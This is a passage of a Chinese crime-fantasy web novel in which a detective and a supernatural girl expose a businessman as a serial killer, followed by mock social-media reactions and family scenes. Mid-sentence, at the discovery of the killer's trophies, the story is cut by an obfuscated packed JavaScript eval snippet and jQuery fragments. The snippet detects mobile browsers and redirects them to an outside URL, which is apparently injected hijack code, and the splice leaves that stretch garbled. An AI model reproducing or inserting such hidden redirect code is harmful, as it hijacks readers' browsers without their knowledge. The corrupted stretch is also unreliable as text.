毕竟如果真的绑架刑警家属,这些无意都是新的证据,贺黎筠随时有新理由再对魏明璟展开调查。所以他虚晃一招,利用贺黎筠救母心切的恐慌情绪,牵制住了贺黎筠。 望见贺黎筠转身就要走,魏明璟慢条斯理地整理了一下被扯歪的领带,略带嘲讽地笑道:“贺警官,来都来了,不进来坐坐?喝杯茶再走也不迟。” 贺黎筠脚步一顿,对崔芳华低声道:“妈,你在外面稍等我一下,我说两句话就出来。” 他面色冷峻地跟着魏明璟进了办公室,就见魏明璟顺手抽出一支烟,声音在烟雾中飘渺地传来:“贺警官,真没想到,我父亲偷偷留下的,只是这些无关痛痒的文件。” 魏明璟说着,耸了耸肩,脸上是一派坦荡:“我们魏氏是正规经营的公司,完全经得起任何调查。至于十六年前的案子……” 灰白色的烟雾袅袅升起,模糊了他俊朗的容貌。 他话锋一转,神情变得有些复杂,甚至透出几分被误解的沉痛:“我父亲是不是对你们说,那都是我干的?难怪他当年那么突然地执意送我出国……原来他心里,一直对我存着这么深的误解和偏见……” 贺黎筠并没有开启任何录音设备。 他心中冷笑,魏明璟这番看似真情流露的诡辩,恐怕正是防备着隔墙有耳,刻意将自己塑造成一个被父亲牺牲和诬陷的受害者形象。 离开前,他目光状似无意地扫过办公桌上一张女性的照片,落在魏明璟吸完随意摁灭在烟灰缸里的那只烟上,魏明璟正毫无防备地背对着自己,自己只需伸手一拿,就是绝佳的DNA检材,但他却什么都没有行动。 因为他再清楚不过,以魏明璟处处谨慎、算无遗策的行事风格,是绝不可能犯下这么低级的错误,留下这么明显的破绽。 这看似疏忽的举动,更像是一个精心布置的陷阱。 七日后,贺黎筠带人闯入魏氏集团会议室,在众目睽睽之下,将正在开会的魏明璟当场铐走。 “魏明璟,经鉴定,你的DNA与十六年前犯罪现场遗留的证据完全吻合。现以故意杀人罪,正式逮捕你。” 魏明璟脸上的从容笑意骤然凝固,第一次露出了措手不及的愕然。 原来七日前,贺黎筠和薛宓故意分道扬镳,迫使跟踪者兵分两路。薛宓利用能力在卫生间变回孩童模样,轻易摆脱监视,将校徽直接送至刑警支队,并向贺黎筠信任的队员说明了情况。 然而,十六年前的检材处理起来极其困难,极有可能已经受到环境因素的严重破坏,导致上面的生物检材高度降解,很有可能需要一到两周才能出来结果。 贸然接触魏明璟取DNA,或高调要求实验室加急,极易打草惊蛇,给魏明璟机会潜逃出国或暗中毁灭证据。 所以半个小时后,贺黎筠来到魏氏集团故意上演了一出情绪失控的戏码。 他咆哮、质问,看似方寸大乱,实则是为降低魏明璟的戒心,让他误以为自己已束手无策,只能在他面前无能狂吼。 那场他故意的肢体冲突,就是为了神不知鬼不觉地取走魏明璟的几根头发。 而魏明璟自以为用言语试探便能掌控全局,甚至用烟刻意试探,却不知自己的生物样本早已落入贺黎筠的手中。 但贺黎筠不确定局里是否还有其他眼线,也不确定自己是否还在被监视中,所以让楚子琦将这两个证据混入他查的其他案子中交到了实验室。 万幸的是,那枚校徽当年被贺临川发现后,便被他谨慎地戴着手套放入证物袋,十六年间一直在证物袋里,未受其他污染。 所以实验室比想象中更顺利地从校徽正面缝隙内干涸的血迹中,提取出了属于那名流浪汉受害者的DNA,更从别针缝隙里分离出了另一组属于魏明璟的微量皮屑DNA。 十六年前还没有普及DNA技术,而十六年后,这份铁证,证实校徽极可能是在凶手作案过程中被受害者在挣扎中扯落,成为了连接凶手与受害者的直接物证。 获取初步报告后,贺黎筠立即正式上报。 当年,他爸贺临川就是怕这枚校徽是路人遗失的无关物品,浪费警方资源,所以想建立初步假设后再正式上报,以免打草惊蛇或引发不必要的关注。 谁知,他早已因为是连环杀人案的专案组组长而被魏延璋盯上,以至于他发现校徽刚刚开始暗中调查的极短时间内就惨遭灭口。 也是因为贺临川的突然死亡,导致这个至关重要的发现未能来得及告知任何同事,也未能录入正式的证物清单。 由于该证物时隔多年突然出现,且涉及重大案件及知名企业,其所生成的DNA结论须经另一位专家独立复核。 加急复核之下,最终耗时整整七天,才获批了逮捕令。 如今,铁证如山。 审讯室内,魏明璟初时的错愕已褪去,取而代之的是一种冰冷的平静。他翻阅着证据报告,有些悲悯而低落地垂下头。 “没想到啊,我父亲竟是因为这枚小小的徽章,就这样误会了我……” 他轻叹一口气,幽幽道:“这枚校徽我早年就已遗失。或许是被那个流浪汉捡了去,恰巧又在遇害时带在了身上。单凭这个就认定我是凶手,是否太过武断了?” 46.恶念 贺黎筠静静地看着魏明璟表演。 证据摆在面前,他比想象中还要嘴硬。 难对付。 就算能坐实他杀害流浪汉的罪名,也很难直接把他和十六年前那几起连环命案彻底串联。 更麻烦的是,案发时他才十六岁。就算定了罪,也几乎不可能判死刑。 凭魏氏集团那支厉害的律师队伍,大可以借“证据链不完整”“存在合理疑点”这类理由,帮他争取无罪释放。 毕竟,一个流浪汉偶然捡到一枚校徽,也不是说不通。 所以,一开始拘留魏明璟,也只是为了在审问期间能把他的住处翻了个底朝天,找出那些肯定存在的、属于其他受害者的“战利品”,把零散的罪证串联成无可辩驳的连环证据。 然而,整整三日过去,所有可能的角落皆已翻遍,却什么都没有发现。 难道魏明璟早就察觉到危险,提前把所有的证据都清理干净了? 被带进审讯室之后,魏明璟已经三天没合过眼。 警方不敢刑讯逼供,只能用最文明的方式——不让他睡觉。灯光二十四小时照着,没有窗户,分不清昼夜。 对面的警察换了一拨又一拨,每个人脸上都挂着相似的疲倦,以及压抑不住的沮丧。 而他只是静静坐在那儿。除了眼里蔓延的血丝,和偶尔变得迟缓的眨眼,几乎看不出这人正站在生理极限的悬崖边上。 门又一次被推开。 他懒洋洋地抬了下眼皮,以为进来的还是那些穿着制服、眉头紧锁的警察。 但不是。 来的只是个小姑娘。 看着不过十岁左右,一身红裙子穿得亮眼,像夏天里开得最灼的山丹花,和这间弥漫着焦虑与疲乏的审讯室格格不入。 她悄无声息地在他对面坐下,双手交叠放在桌上,姿态乖巧得像课堂上的学生。 “我是薛宓。” 魏明璟眉梢微挑,疲惫里渗进一丝玩味,干裂起皮的嘴角向旁扯了扯,拉出一个带着明显嘲弄的弧度:“现代警察找不到证据,现在要靠外门邪术了吗?” 他刻意拉长了调子,每个字都裹着显而易见的轻蔑。 薛宓轻轻笑了笑。那笑意未达眼底,反而让她瞳孔里的漆黑显得更浓了。 “你身上沾着恶念了。”她微微偏头,像是在观察什么有趣的东西,“我第一次看见你这么焦躁的气息。像烧糊的线,一丝一丝地往外冒烟。” 她停了一下,笑盈盈道:“其实你也在担心吧?担心警察真的找到什么——这说明那些证据并没有被你销毁。你太自负了,把它们当战利品留着,所以不到绝路,你绝不会主动清理它们。可是那些东西现在在哪儿呢?” “想套我的话?” 魏明璟嗤笑一声,向后靠进椅背,试图找回掌控的姿态。 逻辑是他的城墙,证据是他的护城河。如果这小怪物真像传说里那样能让人吐真言,何必白白耗上三天?这虚张声势的伎俩,拙劣得让他有点想笑。 薛宓最喜欢那些嘴硬的人,因为越是嘴硬的人,崩溃哭喊的时候才越有意思。 “知道吗?对于那些始终嘴硬的人,最适合使用大记忆恢复术。欢迎来到我的领域——魏、明、璟。” 她话音落下的那一瞬,魏明璟疲惫至极的脑子仿佛被猛地拽进剧烈的漩涡! 沉闷的审讯室、咖啡的味道、桌子的触感……一切感官输入骤然扭曲、碎裂、重组。 冰凉的雨点忽然打在脸上,带着桥洞底下特有的潮腐腥气。他站在那里,手中紧攥着被雨水浸透的书包带,十六岁的身体里翻滚着刚刚撞见父亲出轨后的恶心与暴怒。 一个佝偻脏污的身影撞了他一下。 恶臭扑鼻。是个哑巴流浪汉,只会“啊啊”地嘶叫,像头肮脏的畜生。 “滚开!”他猛地将那具肮脏的身体推开。 流浪汉踉跄着蹲下去捡那个破袋子,露出后颈嶙峋的脊椎骨。 有什么东西在魏明璟脑中断裂了——这种蛆虫,活着也是糟蹋空气。 暴怒瞬间找到了宣泄口。在那流浪汉蹲下去的瞬间,他扯下对方袋子里的麻绳,从后面死死勒住了那枯瘦的脖子…… 挣扎,抓挠,校徽被扯落在地。 他将流浪汉拖进桥洞阴影,用麻绳重新勒紧,直到那身子彻底软下去,不再动了。 “阿门。” 母亲每晚祷告的词句,不知为何地滑过了他的耳边。他用麻绳把尸体的双手缠在一起,摆了个自己觉得像是在祈福的姿势。 可那只冰冷僵硬的手,却在他的手背刮出一道浅白的痕。 真脏。 他皱紧眉,从书包里拿出削铅笔的美工刀,将那只碰过他的拇指切了下来。 血混着雨水溅上他的睫毛。 他看着那具不再动弹的躯体,心里翻江倒海的暴怒竟奇异地平息了,甚至升起一种难以言喻的平静,与近乎崇高的感觉。 “你的存在,是整体和谐中的一个杂音。清除你,是维护秩序的必要之举。安息吧。” 他画了个十字。 “阿门。” 几天后,母亲病故了。葬礼上,父亲哭得情真意切。 他看着街上那些穿着暴露、对着路人搔首弄姿的女性,突然觉得无比碍眼……就是这些不检点的、污秽的女人,勾引了父亲,害得母亲郁郁而终…… 他得净化她们。 他约她们出来,然后杀掉。 每一次,他都感到一种接近神性的快感,像是在执行一项神圣的使命,为世界剥离污垢。他在其中,确认自己的力量和正确。 如果……这些污秽也能被彻底净化…… 念头刚起—— 脖颈骤然传来一阵剧痛! 他惊恐地瞪大眼,无法呼吸,熟悉的被勒紧的窒息感淹没了他。他拼命挣扎,手脚并用,猛地回头—— 勒住他的人,竟是他自己! 阴森而扭曲的表情,眼睛里燃烧着毫不掩饰的杀意。 他剧烈地挣扎,但那个自己的手臂如同铁箍,力量大得惊人。视野逐渐模糊发黑,肺部的灼痛炸开…… 他被勒死了。 魏明璟猛地惊醒,一口气还没喘上来…… 那冰冷的绳索感再次死死缠上他的脖颈! “像你这样的人,就不该存在在世上。” 同样的话语,同样的冰冷。他再次看到那个扭曲的自己,听到那声仿佛来自地狱的—— “这肮脏的交易就此终结。我赦免你的罪了。” “阿门。” “这无意义的生命,我为你终结。这沉重的肉身,我为你卸下。愿下一次,命运能赐予你更有价值的形态。” “阿门。” “用你的消亡,警醒这沉沦的世道。愿你來世,能活得更体面。” “阿门。” …… 一次又一次。 死亡,惊醒,再死亡。 每一次被自己亲手勒杀的痛苦都真实得无以复加,但即便在这种精神被反复撕裂、□□记忆着极致痛苦的边缘,魏明璟也只是死死咬着牙,甚至在那无尽的恐怖循环中,满身是汗地挣脱了出来。 幻境碎裂。 他依然坐在审讯室里,对面是那个叫薛宓的小怪物。 脖颈上残留的剧痛与窒息感尚未完全消退,冰冷的麻绳触觉仿佛还烙印在皮肤上,每一次幻境中的终结都真实得让他心脏骤停、肌肉痉挛。 “你看见了,又能怎样。” 他勾起嘴角,声音因方才的窒息而沙哑,嘲弄的意味却更浓了,“这些,能作为证据吗?” 在方才的幻境中,薛宓清晰地感知到,魏明璟的恶是发自本心的、冷静的、他认为正确的。他作恶时没有愧疚、没有挣扎、甚至裹着一层崇高的自我欺骗。 所以,他自身滋生的恶念反而异常纯粹且内敛,不像那些被负面情绪招来邪祟的人,会散发出强烈的“气味”。 而刚才,从他身上流露出的、可供她驱使构建幻境的负面情绪和恶意波动却极其微弱。 薛宓维持刚才那样强度的幻境时间并不长,她原以为在他亲身经历一遍又一遍被自己以同样手法杀害的过程后,总能撬开一丝缝隙,逼出最原始的恐惧、惊慌或悔意——这些强烈的负面情绪都将成为她延长和加深审判的燃料。 却没想到,他竟自己凭着意志力挣脱了幻境。 没有预想中的崩溃哭嚎,也没有精神失常,对方居然还理直气壮地反问她。 好强大的心理素质! 但薛宓,却也不慌。 她轻笑一声,道:“魏明璟,你用净化粉饰屠杀,但最初的动机,不过是因为家庭崩毁产生的无能狂怒。” “十六年前,你只是不敢反抗父亲,才挑最弱的流浪汉发泄。哪有什么冠冕堂皇?” “不过是个在强权面前懦弱退缩的可怜虫,只敢向更无辜者挥刀。” “给自己披上神圣外衣,拔高杀人的理由……仔细看,你那扭曲的正义,剥开来,内核不过是一个……” 她一字一顿,清晰地吐出那个词: “……被童年创伤彻底扭曲、只敢虐杀弱小的、可悲的连环杀手罢了。” 空气死寂。 魏明璟脸上那副游刃有余、讥诮冰冷的面具,瞬间裂开了一丝微不可查的缝隙。 瞳孔几不可见地收缩了一下,但他随即轻笑出声,清晰地吐出两个字:“荒谬。” “这就是你们最后的招数了?真可悲。” 但薛宓还是注意到,他的指尖,在桌下,无法控制地剧烈颤抖了一下,然后死死攥紧,掐进了掌心。 还是一如既往的谨慎,不肯泄露分毫。 走出审讯室,薛宓将在幻境中见到的片段仔细讲给贺黎筠听,语气里带着些懊恼:“只能看到他动手的过程。可那些他收集的战利品藏在哪儿,幻境里一丁点儿影子都没有。,只围着那件事本身打转,跟藏东西的地方扯不上关系。” 贺黎筠凝神听着,忽然,他像是猛地揪住了什么,手掌“啪”地一声按在桌面上:“知道了!” “还有一个地方,一个被我们所有人漏掉的地方——他妈妈,董燕的坟。” 他声音因为激动微微发紧。 “啊?”薛宓一时没转过弯。 “很有可能!”贺黎筠语速极快,思路却异常清晰,“这类人收藏战利品,是为了事后回味,满足心里的变态需求。把东西藏在一个极其隐秘、对自己又有特殊意义的地方,完全说得通。” “可埋在坟里,他还怎么回味?” 贺黎筠沉默地踱了两步,再次开口时,推翻了先前的想法:“或许,他收集战利品不是为了重温……” “对魏明璟而言,母亲的坟墓绝不仅仅是一个安葬地!那很可能是一个代表着‘爱’、‘纯洁’、‘救赎’或者‘避风港’的象征!将代表自己最黑暗秘密的物品藏在那里,会给他带来一种极致的、扭曲的安全感和掌控感!就好像……最肮脏的东西,被最纯洁的事物所守护和净化。” “而且谁会去搜查一个早已入土为安的人的坟墓?这是一个天然的盲区,极大避免了被意外发现的风险,这恰好为他的秘密提供了绝佳保护。” “再往深里想,这甚至可能和他最初的动机有关。他或许偏执地认为母亲是‘唯一理解他的人’、‘和他一样受苦的人’,他在向母亲献祭他的成果——看啊妈妈,我在为你净化这个肮脏的世界,你会为我感到骄傲吗?” “这么变态?”薛宓倒吸一口凉气,胳膊上起了一层鸡皮疙瘩。果然像她这样根正苗红的好少年是无法理解变态的心理。 “这是我的推测,但可能性极高!他母亲去世这么多年,他办公室里最显眼的位置还放着他母亲的照片,说明这个存在对他而言至关重要,从未离去。申请搜查令,挖开再说!” 郊外墓园,董燕的墓碑静静立着,四周干净整齐,显然常有人来照料。 魏延璋的墓碑也在旁边,但魏明璟并未将父母合葬。至于魏明俊的碑,则隔开了一段距离。 初步搜查,墓碑周围一无所获。 再次搜查,连墓碑下的石板都启开了。 里面只有一个骨灰盒。 还是毫无所获…… 难道,他推测错了? 所有人的目光都聚焦在那个骨灰盒上。 打开它? 巨大的伦理压力让众人犹豫不决。最终,贺黎筠咬着牙,手往下一挥。 开! 在极致的谨慎与一片死寂中,骨灰盒被小心翼翼开启。下一秒,所有在场的人呼吸一滞,一股冰冷的寒意沿着脊梁骨猛地窜上头顶—— 只见那些象征安息的灰白色骨灰之中,竟并排埋着几个密封得极其严实、甚至做了高级防水防腐处理的金属小盒。 里面赫然陈列着受害者的发圈、首饰、一缕缕用丝线系好的头发、以及用特殊材料仔细包裹着的、森白的指节。 这些代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835834|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表着他滔天罪行的“战利品”,竟是被他以这种亵渎性的、却又带着某种诡异陪伴意味的方式,藏匿在了自己母亲永恒的安息之所! …… 深夜,审讯室。 魏明璟再次被带了进来。 连续的抗审和薛宓的幻境折磨,在他眉宇间积下浓重的倦色,但眼底深处那抹冰冷的、自以为掌控一切的高傲,却还没有散尽。 他甚至调整了一个略显松垮的坐姿,等着对方继续那些徒劳的问答。 门开了。 贺黎筠走进来,没多问一句,只是将一叠刚冲印出来的照片,一张,接着一张,沉默地推到他面前的桌面上。 魏明璟漫不经心的目光扫了过去。 下一瞬,瞳孔骤然缩紧。 第一张,是他母亲坟墓被启开的整体场景。 第二张,打开的骨灰盒里,埋着金属盒子的特写。 第三张,盒子里那些发圈、首饰、头发……清晰得刺眼。 第四张,是一截断指的特写。 他的脸色瞬间变了,像被踩了尾巴的兽,骤然暴怒:“你们开棺了!?” 他猛地要站起来,却被铐在椅上的手腕扯住,重重跌坐回去。 手铐哗啦一声砸在桌面,混着他狂怒的咆哮—— “你们怎么敢?!怎么敢去惊扰她!!!碰她的安息之地!!!” 贺黎筠就见魏明璟声音尖厉得完全变了调,双目赤红,整个人呈现出一种完全失控的癫狂状态。 那一直精心维持、冷酷自负的面具,终于彻底碎了。 现在,暴露在他眼前的,不过是个歇斯底里、信仰崩塌的疯子。 “究竟是谁在惊扰她的安息之地呢。” 贺黎筠的声音很平,手指轻轻点了一下那张特写照。 “这些,是从你母亲骨灰盒里起获的东西。全过程有公证录像和第三方见证,程序合法,证据链完整。” “这枚指节,和十六年前桥洞流浪汉失踪案里,受害者被切下的拇指残缺部分,初步比对吻合。” 手指移向那些首饰和头发。 “初步比对,DNA和多名受害者的生物样本高度吻合。” “魏明璟,现已查明,你与十六年前青江市连环杀人案存在直接关联。证据确凿,事实清楚。” “你母亲董燕女士如果泉下有知,看见你把她永恒的安息之地,变成藏匿杀人罪证的肮脏角落,不知会作何感想。” …… 【@头条新闻:#青江市连环杀人案告破##魏明璟落网# 历经十六年追查,曾轰动一时的青江市连环杀人案近日成功侦破。犯罪嫌疑人魏明璟(魏氏集团董事长,32岁)已被警方依法逮捕,其对多次杀害女性及流浪人员、并亵渎遗体的罪行供认不讳。 本案关键突破,在于警方依法对魏明璟已故母亲董某的骨灰盒进行取证,在其中发现了藏匿的多名受害者首饰及人体组织,从而锁定铁证。 魏明璟此前常以“青年企业家”、“慈善家”形象公开活动,其被捕消息引发舆论震动。更令人骇然的是,经警方深入调查,魏某还通过空壳公司资助并操控一非法生物实验室,以“人类净化”为名进行人体实验。目前该实验室已被查封,案件仍在进一步侦办中。 天网恢恢,疏而不漏。昔日的光鲜面具被彻底撕下,暴露出的,是令人战栗的极端扭曲与深重罪孽。此案告破,不仅给了受害者及其家属一个迟来的交代,也再次警示世人:恶魔的伪装,往往披着最意想不到的外衣。】 【青江市连环杀人案居然破了!十六年啊……还差一个月就十七年了!致敬警察!真的无法想象凶手是魏明璟,之前财经杂志还专访过他,说是杰出青年代表……我吐了。】 【看完脊背发凉!他之前还给我们流浪动物救助站捐过款,现在想起来是不是在为自己积阴德?太会演了,简直是现实版汉尼拔!】 【等等,十六年前他才十六岁啊!居然把证据藏在自己妈妈的骨灰盒里……这是什么恐怖片剧情啊?!又变态又疯批,他妈要知道都得气活过来[惊恐]】 【所以之前觉得他帅还情商高的我是瞎了吗??果然人不可貌相,从此对精英霸总人设PTSD了。】 【居然还搞人体实验?!这已经不是普通的坏了,是反人类了吧!建议严查和他所有有关联的公司和项目,细思极恐!】 【之前他公司魏氏生物还搞过基因筛查公益项目,现在回想起来真的毛骨悚然……会不会和非法实验有关?】 【受害者们终于可以安息了……也希望舆论别老盯着凶手的“精英”标签,多看看那些真正需要被关注的、沉默的受害群体吧。】 【卧槽!!我刚从我警局朋友那听到个更劲爆的!主导这次取证的就是市局那个有名的帅哥刑警贺黎筠!听说就是他力排众议坚持开棺……啊不,开骨灰盒的!】 【真的假的?!小说男主走进现实了这是!!】 【之前还嗑过魏明璟的精英人设,现在立刻爬墙贺警官!这才是真??人间理想!智勇双全还长得帅!】 【我为曾经嗑过贺警官和魏明璟的CP郑重道歉!黑历史已经删除,求各位轻喷QAQ】 【(悄悄举手)只有我好奇贺队怎么锁定骨灰盒的吗?这侦查思路太神了……】 【贺队这回立了大功,之前破案积累的功劳就不少,这次怕不是要直接升副支队长了吧?】 【听说他才提了正科,这破案速度赶上坐火箭了!不过该升!这种大神留在基层才是浪费人才!】 【实力派天花板!要颜值有颜值,要能力有能力,活该他升职!(百分百褒义)】 【希望领导们看看我们贺队!关键时刻顶得住压力、挖得出铁证,这种同志不值得提拔谁值得?!】 【内部人士悄悄说一句:表彰已经在走了,这次绝对重磅奖励!但具体职务变动还得等流程~】 【顺便求一张贺队穿警服的荣誉照当屏保,保佑我考试过关[祈祷]】 【我有他上次的荣誉照,发你~[贺黎筠警服照.jpg]】 【等等,你怎么有贺队那么近的近身照!】 【10岁,ID魔法少女小宓……不会是贺队的妹妹吧?】 【欸?!卧槽,我之前竟然拉黑了贺队的妹妹!妹妹对不起,之前不小心被你看到我胡写的东西……已经删光了!】 【妹妹好,弱弱问一句……贺队单身吗?(关注点逐渐跑偏)】 47.喜欢 【姐妹们死心吧!我刚问了我姐(市局宣传科的),贺队是单身没错,但他眼里只有案子!同事说他经常加班,根本没时间相亲,身边除了女同事和妹妹,根本没见过其他女人。】 【果然……帅哥都上交国家了!这种一心搞事业的男人最迷人但也最难追[落泪]】 【尊重祝福!贺队为人民服务的样子比谈恋爱帅一万倍!(默默存图)】 【这种男人只可远观不可亵玩,我还是继续嗑他的破案剪辑吧[花痴]】 【其实挺好的,认真搞事业的男人最有魅力!希望贺队注意安全,平安破案!】 【虽然但是……万一他喜欢男的?(没有冒犯的意思就是脑一下!)】 薛宓正窝在沙发里吃瓜,门口突然一阵动静。她抬起眼,视线从手机屏幕边缘溜出去,落在刚回家、正脱鞋的贺黎筠身上。 他看起来疲惫却松弛,领口微敞,没什么“冷面刑警”的架子,倒像只是个下班归来、急需休息的普通男人。 薛宓眨了眨眼,什么也没说,又低头默默划了一下屏幕。 十分钟后,身旁的沙发微微下陷,带着刚沐浴过的淡淡水汽和一丝疲惫的暖意。就见贺黎筠主动靠了过来,问道:“在看什么呢?” 他的嗓音带着工作后轻微的沙哑,吹得薛宓耳朵痒痒的。 “贺黎筠,你是不是喜欢男的呀?” “啊?”贺黎筠猛地一怔,随即耳根肉眼可见地泛起一层薄红,连反驳的速度都快得有点欲盖弥彰。 “当然不是!”说完他自己都愣了一下,似乎也没想明白自己为何要答得如此迅速又斩钉截铁。 薛宓“哦”了一声,脸上没什么表情,手上却飞快地打字:【帮你问了,他不喜欢男的。】 贺黎筠:“……???” 他后知后觉地探头想去瞄她的屏幕,就听她又突然问道:“贺黎筠,你有没有理想型啊?” “没有。”他几乎是下意识地回答,目光还试图追踪她那可疑的手机操作。 “没有吗?”薛宓追问了一句,语气里听不出情绪。 贺黎筠这才回过神,稍稍坐直了些,揉了揉依旧发烫的耳根,语气认真了几分:“工作性质你也知道,没时间想这些。而且……”他顿了顿,似乎在想怎么表达,“没遇到就是没遇到。” 薛宓突然抬起头,一脸遗憾地看着他,那双总是过于清澈的眼睛里此刻竟带着点怒其不争的味道:“我之前和你说过,只要和我签订契约,把灵魂交给我,我就能实现你的任何愿望。现在你杀父仇人已经找到了,你该给我一个你的新的愿望了。” 她说得一本正经,甚至极度认真:“你妈妈对你找到女朋友这件事特别着急。你如果也很急的话,或许可以考虑把这个作为新的契约愿望。” 她甚至贴心地给出了执行方案:“你可以先思考一下你的理想型,我再以你的标准帮你筛选灵魂纯净度高的适配女性。或者你相亲的时候,我帮你看看对方身上有没有恶念。此项服务附带永久售后保障,若后续出现情感纠纷、性格不合或婆媳问题等常见故障,我可提供一次免费干涉调解。” 贺黎筠:“……” 他看着薛宓那张写满认真的脸庞,沉默足足持续了十秒,最终轻轻道:“我……暂时没有这方面的愿望。” 顿了顿,又问,“等有愿望的时候再告诉你?” 他的话音里藏着一丝极细微的、连自己都未曾全然察觉的迟疑,尾音轻轻扬起,像是一片羽毛落下。 “还是……如果我一直没有愿望,你就要离开了?” 贺黎筠知道薛宓的力量已近乎完全恢复,已经不再需要他提供那些犯罪者供她吞噬恶念……那他对她来说,只剩下死后吞噬掉他的灵魂。 指尖无意识地摩挲着,他的思绪跟着沉浮。 ——得想个办法把她留下才行。 这念头来得突兀又固执。 可如今的她,安分守己,甚至笨拙又认真地学着人类的方式生活,对这个世界没有流露出半分恶意。 她若真想走,他有什么立场阻拦?又以什么名义挽留? 是怕她离开自己的视线后,再次学坏吗? 又似乎,不完全是。 “你突然离开的话,我妈和林美美都会伤心的……”他默默地垂下眼,“我也没有好的理由搪塞她们。” 一旁的薛宓耳朵几不可察地动了动。 她的力量确实即将恢复至全盛,一直留在贺黎筠身边,反而被他时刻管着,束手束脚。 但她并没有考虑离开,反而是怕贺黎筠不需要她了,所以才催促他尽快想一个新的愿望。 现在听到他提到崔芳华和林美美,想起那些吵吵嚷嚷却充满烟火气的日常,薛宓心中也涌起万分不舍。 “那我不离开的话……”她眨了眨眼,话音忽然一转,带着一种试探般的乖巧,“可以真的当你的妹妹吗?就是把我的户口移到你们家里……” 马上小学毕业了,林美美说想和她读同一所中学,最好能幸运地分到同一个班级。但最初读小学,就是贺黎筠让她认字来着。她只是办了一年的暂住证,八月证件到期后,她就上不了学了…… 可遥想着和林美美一起长大,一起读初中,一起读高中,再一起读大学,参加社团、放学后一起去小吃摊的场景,薛宓突然觉得这样的人类日常,也不错。 或许,从现在开始,她真的能忘却过去的一切,做一个沐浴在阳光下、为学业烦恼、为友情欢欣的…… 普通人类。 而贺黎筠这边,从来没把她视作过人类,应该是把她当作一个各取所需的合作对象。 但比起单纯的利益交换,她更希望自己能像其他人类一样,融入他的生活里,成为他的朋友……又或者说,妹妹。 那样的话,她有妈妈,有哥哥,有老师,有同学…… 她不再是恶意滋养的怪物,而是因被爱、被需要,才存活于这世间。 而比起其他人的认可,她发现自己更想得到贺黎筠的肯定。 对上薛宓亮晶晶、仿佛盛满期待的目光,贺黎筠的表情有些微妙地古怪起来。 他迟疑了一下,才谨慎开口:“你想要把户口移到我们家?你……不是一直嫌小孩子的身体太麻烦,总想着快点恢复力量、变大变回去吗?搬了迁户口手续后,你有朝一日想要离开,手续会变得麻烦很多……” “跟林美美一起长大,也挺好的。”薛宓用力点了点头,声音里带着纯粹的向往,“她说想和我读同一所初中,一直在一起。但暂住证一年就到期了……” 她眼巴巴地望着他,小声地、带着点不确定地问:“你会……帮我报初中的吧?” 原来是因为这个原因…… “暂住证到期前,我会帮你申请延期,这个不用担心。”贺黎筠顿了顿,接着道,“至于初中,公办学校都是按户籍或实际居住地,由区教育局统一划片分配的。我们家这片,正好属于光明中学的招生范围。” 他看着她渐渐亮起来的眼睛,给出了肯定的答复:“所以,你应该能和美美上同一所初中。” “好耶!”薛宓立刻欢呼起来,对着贺黎筠扑上去就是一个熊抱,“贺黎筠,谢谢你!” 她眼睛亮晶晶的,少女柔软温热的身躯毫无预兆地朝自己扑来,贺黎筠瞬间僵住,一股极其陌生、甚至让他有些无措的暖意伴随着细微的战栗席卷全身,令他整个身体瞬间鸡皮疙瘩起了一层。 等等。 等等…… 这感觉……太奇怪了。 他的手臂僵硬地悬在半空,落下去不是,推开……更不是。 而始作俑者却毫无所觉,还对他无比灿烂地笑了起来:“说好了哦!” 贺黎筠僵硬地点了点头。 六月底,夏意正浓。 暖风裹着栀子花香漫入校园,蝉鸣在梧桐叶间织出一张温柔的网。 薛宓戴着红领巾站在毕业典礼的操场上,整个人被晒得暖融融的——今天,她小学毕业了。 典礼结束后,老师和同学们便挤成一团拍照。 薛宓在这两年里交到了不少好朋友。而大多数同学都住在同一片附近,九月还能在阳光中学重逢,离别的愁绪便淡了许多。 反倒是班主任李秋华,看着这群即将展翅高飞的孩子,眼睛泪汪汪得十分舍不得。 “你们这些孩子,长大了也不许忘了我啊!” 放学后,守在校门口的家长们纷纷涌进校园接孩子。喧闹声中,崔芳华眼睛一亮,忽然拉住正要往外走的薛宓和贺黎筠,道:“等等,我们三个也拍一张吧!” “宓宓来我们家都两年了,竟然还没一起照过相。怎么说,也得有一张全家福呀。” 那是薛宓第一次拍真正意义上的“全家福”。 她手捧一束盛开的向日葵站在最中央。左边,崔芳华温柔地搂着她的肩,笑容温暖如春。右边,贺黎筠身姿挺拔,却难得敛去了平日里的冷峻,唇角微扬,站在她身旁如一棵沉默而可靠的树。 照片洗出来之后,崔芳华特意印了两张。一张仔细地收进老家的相册里,另一张则摆在了贺黎筠家的客厅柜上。 阳光从窗口落进来,正好照亮相框中三人依偎的身影——那一瞬间的美好被定格成永恒。简单,却满满都是幸福。 仿佛那里,也早已是薛宓另一个温暖而安稳的家。 暑假里,薛宓继续小心翼翼地剥离、涤净着那些曾被恶鬼吞噬、缠绕着痛苦与污浊的灵魂。 “愿你们……”她低诵祝祷词,送他们踏上往生之路。然而,就在指尖触到最后一团灰雾状的魂体时,一道清冽的光芒忽然从灵流深处漫了出来。 那光太熟悉了。 薛宓的呼吸骤然停滞。她看见一团暖白的魂影从墨色里浮出来,轮廓渐渐清晰——是薛宁! 原来恶鬼竟早已吞噬了薛宁! 原来在她成为凶器屠戮肆虐的血腥岁月里,薛宁并未安息!现在的她拥有了幸福的人生,而这千年里,薛宁都被困在无尽的黑暗与折磨中,不得往生! “呃……”泪水瞬间决堤,巨大的悲恸扼住了薛宓的喉咙,让她几乎无法维持坐姿,泣不成声,“对……对不起……对不起……” 但,预想中的怨恨与斥责并未到来。 她的光晕温柔地笼罩住薛宓颤抖的手。没有怨恨,没有恐惧,只是如同生前那般温柔地注视着她。 “我从来没怪过你。反而高兴——你还在用我给你取的名字,还活成了比我更勇敢的样子。” 十六岁的薛宁,和现在的她有着几乎一模一样的容貌。毕竟她,就是因为吸食了薛宁的血,才复刻了她的容貌。 “转世后要是遇见我……”薛宁的魂体开始变淡,却还在笑,“记得再和我做朋友呀。” 